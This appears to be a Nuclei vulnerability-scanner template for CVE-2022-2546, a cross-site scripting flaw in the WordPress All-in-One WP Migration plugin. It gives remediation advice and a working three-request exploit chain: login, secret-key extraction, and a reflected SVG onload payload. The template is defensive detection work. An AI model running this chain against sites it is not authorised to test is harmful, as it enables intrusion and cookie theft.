id: CVE-2022-2546 info: name: WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting author: theamanrawat severity: medium description: | WordPress All-in-One WP Migration plugin 7.62 and prior contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update to the latest version of the WordPress All-in-One WP Migration plugin (7.63 or higher) to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/f84920e4-a1fe-47cf-9ba5-731989c70f58 - https://wordpress.org/plugins/all-in-one-wp-migration/ - https://patchstack.com/database/vulnerability/all-in-one-wp-migration/wordpress-all-in-one-wp-migration-plugin-7-62-unauthenticated-reflected-cross-site-scripting-xss-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2022-2546 classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.7 cve-id: CVE-2022-2546 cwe-id: CWE-79 epss-score: 0.00198 epss-percentile: 0.5745 cpe: cpe:2.3:a:servmask:all-in-one_wp_migration:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: servmask product: all-in-one_wp_migration framework: wordpress tags: cve,all-in-one-wp-migration,authenticated,wpscan,cve2022,wordpress,wp-plugin,wp,xss http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1 Host: {{Hostname}} - | GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1 Host: {{Hostname}} cookie-reuse: true req-condition: true matchers: - type: dsl dsl: - contains(header_3, "text/html") - status_code_3 == 200 - contains(body_3, '{\"new_value\":[\"XSSPAYLOAD') condition: and extractors: - type: regex name: secretkey group: 1 regex: - 'ai1wm_feedback"},"secret_key":"([0-9a-zA-Z]+)"' internal: true # digest: 490a00463044022037504c908159bccf833b3670aae03bc1d3ba7b37307bdbf820ac1fc299376b22022007bed5529d3158d361dcfd5fe4abbb73c1196b531b62884306debb11b3ad3637:922c64590222798bb761d5b6d8e72950